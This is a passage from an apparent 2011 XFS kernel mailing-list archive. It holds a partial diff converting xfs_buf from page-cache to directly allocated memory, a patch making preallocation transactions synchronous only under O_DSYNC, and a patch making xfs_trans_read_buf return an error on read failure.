-STATIC void -set_page_region( - struct page *page, - size_t offset, - size_t length) -{ - set_page_private(page, - page_private(page) | page_region_mask(offset, length)); - if (page_private(page) == ~0UL) - SetPageUptodate(page); -} - -STATIC int -test_page_region( - struct page *page, - size_t offset, - size_t length) -{ - unsigned long mask = page_region_mask(offset, length); - - return (mask && (page_private(page) & mask) == mask); -} - -/* * xfs_buf_lru_add - add a buffer to the LRU. * * The LRU takes a new reference to the buffer so that it will only be freed @@ -332,7 +263,7 @@ xfs_buf_free( ASSERT(list_empty(&bp->b_lru)); - if (bp->b_flags & (_XBF_PAGE_CACHE|_XBF_PAGES)) { + if (bp->b_flags & _XBF_PAGES) { uint i; if (xfs_buf_is_vmapped(bp)) @@ -342,25 +273,22 @@ xfs_buf_free( for (i = 0; i < bp->b_page_count; i++) { struct page *page = bp->b_pages[i]; - if (bp->b_flags & _XBF_PAGE_CACHE) - ASSERT(!PagePrivate(page)); - page_cache_release(page); + __free_page(page); } - } + } else if (bp->b_flags & _XBF_KMEM) + kmem_free(bp->b_addr); _xfs_buf_free_pages(bp); xfs_buf_deallocate(bp); } /* - * Finds all pages for buffer in question and builds it's page list. + * Allocates all the pages for buffer in question and builds it's page list. */ STATIC int -_xfs_buf_lookup_pages( +xfs_buf_allocate_memory( xfs_buf_t *bp, uint flags) { - struct address_space *mapping = bp->b_target->bt_mapping; - size_t blocksize = bp->b_target->bt_bsize; size_t size = bp->b_count_desired; size_t nbytes, offset; gfp_t gfp_mask = xb_to_gfp(flags); @@ -369,29 +297,55 @@ _xfs_buf_lookup_pages( xfs_off_t end; int error; + /* + * for buffers that are contained within a single page, just allocate + * the memory from the heap - there's no need for the complexity of + * page arrays to keep allocation down to order 0. + */ + if (bp->b_buffer_length < PAGE_SIZE) { + bp->b_addr = kmem_alloc(bp->b_buffer_length, xb_to_km(flags)); + if (!bp->b_addr) { + /* low memory - use alloc_page loop instead */ + goto use_alloc_page; + } + + if (((unsigned long)(bp->b_addr + bp->b_buffer_length - 1) & + PAGE_MASK) != + ((unsigned long)bp->b_addr & PAGE_MASK)) { + /* b_addr spans two pages - use alloc_page instead */ + kmem_free(bp->b_addr); + bp->b_addr = NULL; + goto use_alloc_page; + } + bp->b_offset = offset_in_page(bp->b_addr); + bp->b_pages = bp->b_page_array; + bp->b_pages[0] = virt_to_page(bp->b_addr); + bp->b_page_count = 1; + bp->b_flags |= XBF_MAPPED | _XBF_KMEM; + return 0; + } + +use_alloc_page: end = bp->b_file_offset + bp->b_buffer_length; page_count = xfs_buf_btoc(end) - xfs_buf_btoct(bp->b_file_offset); - error = _xfs_buf_get_pages(bp, page_count, flags); if (unlikely(error)) return error; - bp->b_flags |= _XBF_PAGE_CACHE; offset = bp->b_offset; - first = bp->b_file_offset >> PAGE_CACHE_SHIFT; + first = bp->b_file_offset >> PAGE_SHIFT; + bp->b_flags |= _XBF_PAGES; for (i = 0; i < bp->b_page_count; i++) { struct page *page; uint retries = 0; - - retry: - page = find_or_create_page(mapping, first + i, gfp_mask); +retry: + page = alloc_page(gfp_mask); if (unlikely(page == NULL)) { if (flags & XBF_READ_AHEAD) { bp->b_page_count = i; - for (i = 0; i < bp->b_page_count; i++) - unlock_page(bp->b_pages[i]); - return -ENOMEM; + error = ENOMEM; + goto out_free_pages; } /* @@ -412,33 +366,16 @@ _xfs_buf_lookup_pages( XFS_STATS_INC(xb_page_found); - nbytes = min_t(size_t, size, PAGE_CACHE_SIZE - offset); + nbytes = min_t(size_t, size, PAGE_SIZE - offset); size -= nbytes; - - ASSERT(!PagePrivate(page)); - if (!PageUptodate(page)) { - page_count--; - if (blocksize >= PAGE_CACHE_SIZE) { - if (flags & XBF_READ) - bp->b_flags |= _XBF_PAGE_LOCKED; - } else if (!PagePrivate(page)) { - if (test_page_region(page, offset, nbytes)) - page_count++; - } - } - bp->b_pages[i] = page; offset = 0; } + return 0; - if (!(bp->b_flags & _XBF_PAGE_LOCKED)) { - for (i = 0; i < bp->b_page_count; i++) - unlock_page(bp->b_pages[i]); - } - - if (page_count == bp->b_page_count) - bp->b_flags |= XBF_DONE; - +out_free_pages: + for (i = 0; i < bp->b_page_count; i++) + __free_page(bp->b_pages[i]); return error; } @@ -450,8 +387,9 @@ _xfs_buf_map_pages( xfs_buf_t *bp, uint flags) { - /* A single page buffer is always mappable */ + ASSERT(bp->b_flags & _XBF_PAGES); if (bp->b_page_count == 1) { + /* A single page buffer is always mappable */ bp->b_addr = page_address(bp->b_pages[0]) + bp->b_offset; bp->b_flags |= XBF_MAPPED; } else if (flags & XBF_MAPPED) { @@ -576,9 +514,14 @@ found: } } + /* + * if the buffer is stale, clear all the external state associated with + * it. We need to keep flags such as how we allocated the buffer memory + * intact here. + */ if (bp->b_flags & XBF_STALE) { ASSERT((bp->b_flags & _XBF_DELWRI_Q) == 0); - bp->b_flags &= XBF_MAPPED; + bp->b_flags &= XBF_MAPPED | _XBF_KMEM | _XBF_PAGES; } trace_xfs_buf_find(bp, flags, _RET_IP_); @@ -599,7 +542,7 @@ xfs_buf_get( xfs_buf_flags_t flags) { xfs_buf_t *bp, *new_bp; - int error = 0, i; + int error = 0; new_bp = xfs_buf_allocate(flags); if (unlikely(!new_bp)) @@ -607,7 +550,7 @@ xfs_buf_get( bp = _xfs_buf_find(target, ioff, isize, flags, new_bp); if (bp == new_bp) { - error = _xfs_buf_lookup_pages(bp, flags); + error = xfs_buf_allocate_memory(bp, flags); if (error) goto no_buffer; } else { @@ -616,9 +559,6 @@ xfs_buf_get( return NULL; } - for (i = 0; i < bp->b_page_count; i++) - mark_page_accessed(bp->b_pages[i]); - if (!(bp->b_flags & XBF_MAPPED)) { error = _xfs_buf_map_pages(bp, flags); if (unlikely(error)) { @@ -719,7 +659,7 @@ xfs_buf_readahead( { struct backing_dev_info *bdi; - bdi = target->bt_mapping->backing_dev_info; + bdi = blk_get_backing_dev_info(target->bt_bdev); if (bdi_read_congested(bdi)) return; @@ -798,10 +738,10 @@ xfs_buf_associate_memory( size_t buflen; int page_count; - pageaddr = (unsigned long)mem & PAGE_CACHE_MASK; + pageaddr = (unsigned long)mem & PAGE_MASK; offset = (unsigned long)mem - pageaddr; - buflen = PAGE_CACHE_ALIGN(len + offset); - page_count = buflen >> PAGE_CACHE_SHIFT; + buflen = PAGE_ALIGN(len + offset); + page_count = buflen >> PAGE_SHIFT; /* Free any previous set of page pointers */ if (bp->b_pages) @@ -818,13 +758,12 @@ xfs_buf_associate_memory( for (i = 0; i < bp->b_page_count; i++) { bp->b_pages[i] = mem_to_page((void *)pageaddr); - pageaddr += PAGE_CACHE_SIZE; + pageaddr += PAGE_SIZE; } bp->b_count_desired = len; bp->b_buffer_length = buflen; bp->b_flags |= XBF_MAPPED; - bp->b_flags &= ~_XBF_PAGE_LOCKED; return 0; } @@ -931,20 +870,7 @@ xfs_buf_rele( /* - * Mutual exclusion on buffers. Locking model: - * - * Buffers associated with inodes for which buffer locking - * is not enabled are not protected by semaphores, and are - * assumed to be exclusively owned by the caller. There is a - * spinlock in the buffer, used by the caller when concurrent - * access is possible. - */ - -/* - * Locks a buffer object, if it is not already locked. Note that this in - * no way locks the underlying pages, so it is only useful for - * synchronizing concurrent use of buffer objects, not for synchronizing - * independent access to the underlying pages. + * Lock a buffer object, if it is not already locked. * * If we come across a stale, pinned, locked buffer, we know that we are * being asked to lock a buffer that has been reallocated. Because it is @@ -978,10 +904,7 @@ xfs_buf_lock_value( } /* - * Locks a buffer object. - * Note that this in no way locks the underlying pages, so it is only - * useful for synchronizing concurrent use of buffer objects, not for - * synchronizing independent access to the underlying pages. + * Lock a buffer object. * * If we come across a stale, pinned, locked buffer, we know that we * are being asked to lock a buffer that has been reallocated. Because @@ -998,7 +921,7 @@ xfs_buf_lock( if (atomic_read(&bp->b_pin_count) && (bp->b_flags & XBF_STALE)) xfs_log_force(bp->b_target->bt_mount, 0); if (atomic_read(&bp->b_io_remaining)) - blk_run_address_space(bp->b_target->bt_mapping); + blk_run_backing_dev(bp->b_target->bt_bdi, NULL); down(&bp->b_sema); XB_SET_OWNER(bp); @@ -1043,7 +966,7 @@ xfs_buf_wait_unpin( if (atomic_read(&bp->b_pin_count) == 0) break; if (atomic_read(&bp->b_io_remaining)) - blk_run_address_space(bp->b_target->bt_mapping); + blk_run_backing_dev(bp->b_target->bt_bdi, NULL); schedule(); } remove_wait_queue(&bp->b_waiters, &wait); @@ -1256,10 +1179,8 @@ _xfs_buf_ioend( xfs_buf_t *bp, int schedule) { - if (atomic_dec_and_test(&bp->b_io_remaining) == 1) { - bp->b_flags &= ~_XBF_PAGE_LOCKED; + if (atomic_dec_and_test(&bp->b_io_remaining) == 1) xfs_buf_ioend(bp, schedule); - } } STATIC void @@ -1268,35 +1189,12 @@ xfs_buf_bio_end_io( int error) { xfs_buf_t *bp = (xfs_buf_t *)bio->bi_private; - unsigned int blocksize = bp->b_target->bt_bsize; - struct bio_vec *bvec = bio->bi_io_vec + bio->bi_vcnt - 1; xfs_buf_ioerror(bp, -error); if (!error && xfs_buf_is_vmapped(bp) && (bp->b_flags & XBF_READ)) invalidate_kernel_vmap_range(bp->b_addr, xfs_buf_vmap_len(bp)); - do { - struct page *page = bvec->bv_page; - - ASSERT(!PagePrivate(page)); - if (unlikely(bp->b_error)) { - if (bp->b_flags & XBF_READ) - ClearPageUptodate(page); - } else if (blocksize >= PAGE_CACHE_SIZE) { - SetPageUptodate(page); - } else if (!PagePrivate(page) && - (bp->b_flags & _XBF_PAGE_CACHE)) { - set_page_region(page, bvec->bv_offset, bvec->bv_len); - } - - if (--bvec >= bio->bi_io_vec) - prefetchw(&bvec->bv_page->flags); - - if (bp->b_flags & _XBF_PAGE_LOCKED) - unlock_page(page); - } while (bvec >= bio->bi_io_vec); - _xfs_buf_ioend(bp, 1); bio_put(bio); } @@ -1310,7 +1208,6 @@ _xfs_buf_ioapply( int offset = bp->b_offset; int size = bp->b_count_desired; sector_t sector = bp->b_bn; - unsigned int blocksize = bp->b_target->bt_bsize; total_nr_pages = bp->b_page_count; map_i = 0; @@ -1331,29 +1228,6 @@ _xfs_buf_ioapply( (bp->b_flags & XBF_READ_AHEAD) ? READA : READ; } - /* Special code path for reading a sub page size buffer in -- - * we populate up the whole page, and hence the other metadata - * in the same page. This optimization is only valid when the - * filesystem block size is not smaller than the page size. - */ - if ((bp->b_buffer_length < PAGE_CACHE_SIZE) && - ((bp->b_flags & (XBF_READ|_XBF_PAGE_LOCKED)) == - (XBF_READ|_XBF_PAGE_LOCKED)) && - (blocksize >= PAGE_CACHE_SIZE)) { - bio = bio_alloc(GFP_NOIO, 1); - - bio->bi_bdev = bp->b_target->bt_bdev; - bio->bi_sector = sector - (offset >> BBSHIFT); - bio->bi_end_io = xfs_buf_bio_end_io; - bio->bi_private = bp; - - bio_add_page(bio, bp->b_pages[0], PAGE_CACHE_SIZE, 0); - size = 0; - - atomic_inc(&bp->b_io_remaining); - - goto submit_io; - } next_chunk: atomic_inc(&bp->b_io_remaining); @@ -1367,8 +1241,9 @@ next_chunk: bio->bi_end_io = xfs_buf_bio_end_io; bio->bi_private = bp; + for (; size && nr_pages; nr_pages--, map_i++) { - int rbytes, nbytes = PAGE_CACHE_SIZE - offset; + int rbytes, nbytes = PAGE_SIZE - offset; if (nbytes > size) nbytes = size; @@ -1383,7 +1258,6 @@ next_chunk: total_nr_pages--; } -submit_io: if (likely(bio->bi_size)) { if (xfs_buf_is_vmapped(bp)) { flush_kernel_vmap_range(bp->b_addr, @@ -1393,18 +1267,7 @@ submit_io: if (size) goto next_chunk; } else { - /* - * if we get here, no pages were added to the bio. However, - * we can't just error out here - if the pages are locked then - * we have to unlock them otherwise we can hang on a later - * access to the page. - */ xfs_buf_ioerror(bp, EIO); - if (bp->b_flags & _XBF_PAGE_LOCKED) { - int i; - for (i = 0; i < bp->b_page_count; i++) - unlock_page(bp->b_pages[i]); - } bio_put(bio); } } @@ -1450,7 +1313,7 @@ xfs_buf_iowait( trace_xfs_buf_iowait(bp, _RET_IP_); if (atomic_read(&bp->b_io_remaining)) - blk_run_address_space(bp->b_target->bt_mapping); + blk_run_backing_dev(bp->b_target->bt_bdi, NULL); wait_for_completion(&bp->b_iowait); trace_xfs_buf_iowait_done(bp, _RET_IP_); @@ -1468,8 +1331,8 @@ xfs_buf_offset( return XFS_BUF_PTR(bp) + offset; offset += bp->b_offset; - page = bp->b_pages[offset >> PAGE_CACHE_SHIFT]; - return (xfs_caddr_t)page_address(page) + (offset & (PAGE_CACHE_SIZE-1)); + page = bp->b_pages[offset >> PAGE_SHIFT]; + return (xfs_caddr_t)page_address(page) + (offset & (PAGE_SIZE-1)); } /* @@ -1491,9 +1354,9 @@ xfs_buf_iomove( page = bp->b_pages[xfs_buf_btoct(boff + bp->b_offset)]; cpoff = xfs_buf_poff(boff + bp->b_offset); csize = min_t(size_t, - PAGE_CACHE_SIZE-cpoff, bp->b_count_desired-boff); + PAGE_SIZE-cpoff, bp->b_count_desired-boff); - ASSERT(((csize + cpoff) <= PAGE_CACHE_SIZE)); + ASSERT(((csize + cpoff) <= PAGE_SIZE)); switch (mode) { case XBRW_ZERO: @@ -1606,7 +1469,6 @@ xfs_free_buftarg( xfs_flush_buftarg(btp, 1); if (mp->m_flags & XFS_MOUNT_BARRIER) xfs_blkdev_issue_flush(btp); - iput(btp->bt_mapping->host); kthread_stop(btp->bt_task); kmem_free(btp); @@ -1630,15 +1492,6 @@ xfs_setsize_buftarg_flags( return EINVAL; } - if (verbose && - (PAGE_CACHE_SIZE / BITS_PER_LONG) > sectorsize) { - printk(KERN_WARNING - "XFS: %u byte sectors in use on device %s. " - "This is suboptimal; %u or greater is ideal.\n", - sectorsize, XFS_BUFTARG_NAME(btp), - (unsigned int)PAGE_CACHE_SIZE / BITS_PER_LONG); - } - return 0; } @@ -1653,7 +1506,7 @@ xfs_setsize_buftarg_early( struct block_device *bdev) { return xfs_setsize_buftarg_flags(btp, - PAGE_CACHE_SIZE, bdev_logical_block_size(bdev), 0); + PAGE_SIZE, bdev_logical_block_size(bdev), 0); } int @@ -1666,41 +1519,6 @@ xfs_setsize_buftarg( } STATIC int -xfs_mapping_buftarg( - xfs_buftarg_t *btp, - struct block_device *bdev) -{ - struct backing_dev_info *bdi; - struct inode *inode; - struct address_space *mapping; - static const struct address_space_operations mapping_aops = { - .sync_page = block_sync_page, - .migratepage = fail_migrate_page, - }; - - inode = new_inode(bdev->bd_inode->i_sb); - if (!inode) { - printk(KERN_WARNING - "XFS: Cannot allocate mapping inode for device %s\n", - XFS_BUFTARG_NAME(btp)); - return ENOMEM; - } - inode->i_ino = get_next_ino(); - inode->i_mode = S_IFBLK; - inode->i_bdev = bdev; - inode->i_rdev = bdev->bd_dev; - bdi = blk_get_backing_dev_info(bdev); - if (!bdi) - bdi = &default_backing_dev_info; - mapping = &inode->i_data; - mapping->a_ops = &mapping_aops; - mapping->backing_dev_info = bdi; - mapping_set_gfp_mask(mapping, GFP_NOFS); - btp->bt_mapping = mapping; - return 0; -} - -STATIC int xfs_alloc_delwrite_queue( xfs_buftarg_t *btp, const char *fsname) @@ -1728,12 +1546,11 @@ xfs_alloc_buftarg( btp->bt_mount = mp; btp->bt_dev = bdev->bd_dev; btp->bt_bdev = bdev; + btp->bt_bdi = blk_get_backing_dev_info(bdev); INIT_LIST_HEAD(&btp->bt_lru); spin_lock_init(&btp->bt_lru_lock); if (xfs_setsize_buftarg_early(btp, bdev)) goto error; - if (xfs_mapping_buftarg(btp, bdev)) - goto error; if (xfs_alloc_delwrite_queue(btp, fsname)) goto error; btp->bt_shrinker.shrink = xfs_buftarg_shrink; @@ -1955,7 +1772,7 @@ xfsbufd( count++; } if (count) - blk_run_address_space(target->bt_mapping); + blk_run_backing_dev(target->bt_bdi, NULL); } while (!kthread_should_stop()); @@ -2003,7 +1820,7 @@ xfs_flush_buftarg( if (wait) { /* Expedite and wait for IO to complete. */ - blk_run_address_space(target->bt_mapping); + blk_run_backing_dev(target->bt_bdi, NULL); while (!list_empty(&wait_list)) { bp = list_first_entry(&wait_list, struct xfs_buf, b_list); diff --git a/fs/xfs/linux-2.6/xfs_buf.h b/fs/xfs/linux-2.6/xfs_buf.h index cbe6595..a9a1c45 100644 --- a/fs/xfs/linux-2.6/xfs_buf.h +++ b/fs/xfs/linux-2.6/xfs_buf.h @@ -61,30 +61,11 @@ typedef enum { #define XBF_DONT_BLOCK (1 << 16)/* do not block in current thread */ /* flags used only internally */ -#define _XBF_PAGE_CACHE (1 << 17)/* backed by pagecache */ #define _XBF_PAGES (1 << 18)/* backed by refcounted pages */ #define _XBF_RUN_QUEUES (1 << 19)/* run block device task queue */ +#define _XBF_KMEM (1 << 20)/* backed by heap memory */ #define _XBF_DELWRI_Q (1 << 21)/* buffer on delwri queue */ -/* - * Special flag for supporting metadata blocks smaller than a FSB. - * - * In this case we can have multiple xfs_buf_t on a single page and - * need to lock out concurrent xfs_buf_t readers as they only - * serialise access to the buffer. - * - * If the FSB size >= PAGE_CACHE_SIZE case, we have no serialisation - * between reads of the page. Hence we can have one thread read the - * page and modify it, but then race with another thread that thinks - * the page is not up-to-date and hence reads it again. - * - * The result is that the first modifcation to the page is lost. - * This sort of AGF/AGI reading race can happen when unlinking inodes - * that require truncation and results in the AGI unlinked list - * modifications being lost. - */ -#define _XBF_PAGE_LOCKED (1 << 22) - typedef unsigned int xfs_buf_flags_t; #define XFS_BUF_FLAGS \ @@ -100,12 +81,10 @@ typedef unsigned int xfs_buf_flags_t; { XBF_LOCK, "LOCK" }, /* should never be set */\ { XBF_TRYLOCK, "TRYLOCK" }, /* ditto */\ { XBF_DONT_BLOCK, "DONT_BLOCK" }, /* ditto */\ - { _XBF_PAGE_CACHE, "PAGE_CACHE" }, \ { _XBF_PAGES, "PAGES" }, \ { _XBF_RUN_QUEUES, "RUN_QUEUES" }, \ - { _XBF_DELWRI_Q, "DELWRI_Q" }, \ - { _XBF_PAGE_LOCKED, "PAGE_LOCKED" } - + { _XBF_KMEM, "KMEM" }, \ + { _XBF_DELWRI_Q, "DELWRI_Q" } typedef enum { XBT_FORCE_SLEEP = 0, @@ -120,7 +99,7 @@ typedef struct xfs_bufhash { typedef struct xfs_buftarg { dev_t bt_dev; struct block_device *bt_bdev; - struct address_space *bt_mapping; + struct backing_dev_info *bt_bdi; struct xfs_mount *bt_mount; unsigned int bt_bsize; unsigned int bt_sshift; @@ -139,17 +118,6 @@ typedef struct xfs_buftarg { unsigned int bt_lru_nr; } xfs_buftarg_t; -/* - * xfs_buf_t: Buffer structure for pagecache-based buffers - * - * This buffer structure is used by the pagecache buffer management routines - * to refer to an assembly of pages forming a logical buffer. - * - * The buffer structure is used on a temporary basis only, and discarded when - * released. The real data storage is recorded in the pagecache. Buffers are - * hashed to the block device on which the file system resides. - */ - struct xfs_buf; typedef void (*xfs_buf_iodone_t)(struct xfs_buf *); -- 1.7.2.3 From dave@fromorbit.com Wed Mar 23 01:12:41 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2N6Cara074515 for ; Wed, 23 Mar 2011 01:12:41 -0500 X-ASG-Debug-ID: 1300860933-355000940001-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from ipmail06.adl6.internode.on.net (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 9ADC513FA477 for ; Tue, 22 Mar 2011 23:15:35 -0700 (PDT) Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id ONhHfFWr1lzxeXJy for ; Tue, 22 Mar 2011 23:15:35 -0700 (PDT) X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Ak8FAForiU15LK5JgWdsb2JhbACYS4x1FQEBFiYlxBSFaQQ Received: from ppp121-44-174-73.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.73]) by ipmail06.adl6.internode.on.net with ESMTP; 23 Mar 2011 16:44:28 +1030 Received: from chute ([192.168.1.1] helo=disappointment) by dastard with esmtp (Exim 4.72) (envelope-from ) id 1Q2HKs-0006Rl-Fe; Wed, 23 Mar 2011 17:14:26 +1100 Received: from dave by disappointment with local (Exim 4.72) (envelope-from ) id 1Q2HLC-00042W-CF; Wed, 23 Mar 2011 17:14:46 +1100 From: Dave Chinner To: xfs@oss.sgi.com Cc: aelder@sgi.com X-ASG-Orig-Subj: [PATCH 1/6] xfs: preallocation transactions do not need to be synchronous Subject: [PATCH 1/6] xfs: preallocation transactions do not need to be synchronous Date: Wed, 23 Mar 2011 17:14:25 +1100 Message-Id: <1300860870-15471-2-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.7.2.3 In-Reply-To: <1300860870-15471-1-git-send-email-david@fromorbit.com> References: <1300860870-15471-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1300860936 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.58707 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean From: Dave Chinner Preallocation and hole punch transactions are currently synchronous and this is causing performance problems in some cases. The transactions don't need to be synchronous as we don't need to guarantee the preallocation is persistent on disk until a fdatasync, fsync, sync operation occurs. If the file is opened O_SYNC or O_DATASYNC, only then should the transaction be issued synchronously. Signed-off-by: Dave Chinner Reviewed-by: Christoph Hellwig --- fs/xfs/linux-2.6/xfs_file.c | 4 ++++ fs/xfs/linux-2.6/xfs_ioctl.c | 4 ++++ fs/xfs/xfs_vnodeops.c | 3 ++- fs/xfs/xfs_vnodeops.h | 1 + 4 files changed, 11 insertions(+), 1 deletions(-) diff --git a/fs/xfs/linux-2.6/xfs_file.c b/fs/xfs/linux-2.6/xfs_file.c index ae59865..baa2cb3 100644 --- a/fs/xfs/linux-2.6/xfs_file.c +++ b/fs/xfs/linux-2.6/xfs_file.c @@ -896,6 +896,7 @@ xfs_file_fallocate( xfs_flock64_t bf; xfs_inode_t *ip = XFS_I(inode); int cmd = XFS_IOC_RESVSP; + int attr_flags = XFS_ATTR_NOLOCK; if (mode & ~(FALLOC_FL_KEEP_SIZE | FALLOC_FL_PUNCH_HOLE | @@ -922,6 +923,9 @@ xfs_file_fallocate( goto out_unlock; } + if (file->f_flags & O_DSYNC) + attr_flags |= XFS_ATTR_SYNC; + error = -xfs_change_file_space(ip, cmd, &bf, 0, XFS_ATTR_NOLOCK); if (error) goto out_unlock; diff --git a/fs/xfs/linux-2.6/xfs_ioctl.c b/fs/xfs/linux-2.6/xfs_ioctl.c index 0ca0e3c..acca2c5 100644 --- a/fs/xfs/linux-2.6/xfs_ioctl.c +++ b/fs/xfs/linux-2.6/xfs_ioctl.c @@ -624,6 +624,10 @@ xfs_ioc_space( if (filp->f_flags & (O_NDELAY|O_NONBLOCK)) attr_flags |= XFS_ATTR_NONBLOCK; + + if (filp->f_flags & O_DSYNC) + attr_flags |= XFS_ATTR_SYNC; + if (ioflags & IO_INVIS) attr_flags |= XFS_ATTR_DMI; diff --git a/fs/xfs/xfs_vnodeops.c b/fs/xfs/xfs_vnodeops.c index 37d8146..c48b421 100644 --- a/fs/xfs/xfs_vnodeops.c +++ b/fs/xfs/xfs_vnodeops.c @@ -2831,7 +2831,8 @@ xfs_change_file_space( ip->i_d.di_flags &= ~XFS_DIFLAG_PREALLOC; xfs_trans_log_inode(tp, ip, XFS_ILOG_CORE); - xfs_trans_set_sync(tp); + if (attr_flags & XFS_ATTR_SYNC) + xfs_trans_set_sync(tp); error = xfs_trans_commit(tp, 0); diff --git a/fs/xfs/xfs_vnodeops.h b/fs/xfs/xfs_vnodeops.h index f6702927..3bcd233 100644 --- a/fs/xfs/xfs_vnodeops.h +++ b/fs/xfs/xfs_vnodeops.h @@ -18,6 +18,7 @@ int xfs_setattr(struct xfs_inode *ip, struct iattr *vap, int flags); #define XFS_ATTR_NONBLOCK 0x02 /* return EAGAIN if operation would block */ #define XFS_ATTR_NOLOCK 0x04 /* Don't grab any conflicting locks */ #define XFS_ATTR_NOACL 0x08 /* Don't call xfs_acl_chmod */ +#define XFS_ATTR_SYNC 0x10 /* synchronous operation required */ int xfs_readlink(struct xfs_inode *ip, char *link); int xfs_release(struct xfs_inode *ip); -- 1.7.2.3 From dave@fromorbit.com Wed Mar 23 01:12:54 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2N6Cmrg074538 for ; Wed, 23 Mar 2011 01:12:54 -0500 X-ASG-Debug-ID: 1300860937-390700880000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from ipmail06.adl6.internode.on.net (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 4BED314A99EB for ; Tue, 22 Mar 2011 23:15:37 -0700 (PDT) Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id zTl8BBULbes0OTPU for ; Tue, 22 Mar 2011 23:15:37 -0700 (PDT) X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Ak8FAForiU15LK5JgWdsb2JhbACYS4x1FQEBFiYlxBSFaQSSag Received: from ppp121-44-174-73.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.73]) by ipmail06.adl6.internode.on.net with ESMTP; 23 Mar 2011 16:44:38 +1030 Received: from chute ([192.168.1.1] helo=disappointment) by dastard with esmtp (Exim 4.72) (envelope-from ) id 1Q2HL2-0006S0-LW; Wed, 23 Mar 2011 17:14:36 +1100 Received: from dave by disappointment with local (Exim 4.72) (envelope-from ) id 1Q2HLC-00042d-Os; Wed, 23 Mar 2011 17:14:46 +1100 From: Dave Chinner To: xfs@oss.sgi.com Cc: aelder@sgi.com X-ASG-Orig-Subj: [PATCH 4/6] xfs: xfs_trans_read_buf() should return an error on failure Subject: [PATCH 4/6] xfs: xfs_trans_read_buf() should return an error on failure Date: Wed, 23 Mar 2011 17:14:28 +1100 Message-Id: <1300860870-15471-5-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.7.2.3 In-Reply-To: <1300860870-15471-1-git-send-email-david@fromorbit.com> References: <1300860870-15471-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1300860949 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.58708 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean From: Dave Chinner When inside a transaction and we fail to read a buffer, xfs_trans_read_buf returns a null buffer pointer and no error. xfs_do_da_buf() checks the error return, but not the buffer, and as a result this read failure condition causes a panic when it attempts to dereference the non-existant buffer. Make xfs_trans_read_buf() return the same error for this situation regardless of whether it is in a transaction or not. This means every caller does not need to check both the error return and the buffer before proceeding to use the buffer. Signed-off-by: Dave Chinner --- fs/xfs/xfs_trans_buf.c | 3 ++- 1 files changed, 2 insertions(+), 1 deletions(-) diff --git a/fs/xfs/xfs_trans_buf.c b/fs/xfs/xfs_trans_buf.c index 3bea661..03b3b7f 100644 --- a/fs/xfs/xfs_trans_buf.c +++ b/fs/xfs/xfs_trans_buf.c @@ -383,7 +383,8 @@ xfs_trans_read_buf( bp = xfs_buf_read(target, blkno, len, flags | XBF_DONT_BLOCK); if (bp == NULL) { *bpp = NULL; - return 0; + return (flags & XBF_TRYLOCK) ? + 0 : XFS_ERROR(ENOMEM); } if (XFS_BUF_GETERROR(bp) != 0) { XFS_BUF_SUPER_STALE(bp); -- 1.7.2.3 From dave@fromorbit.com Wed Mar 23 01:12:45 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2N6CeBA074522 for ; Wed, 23 Mar 2011 01:12:45 -0500 X-ASG-Debug-ID: 1300860933-355000940003-NocioJ X-Barracuda-URL: 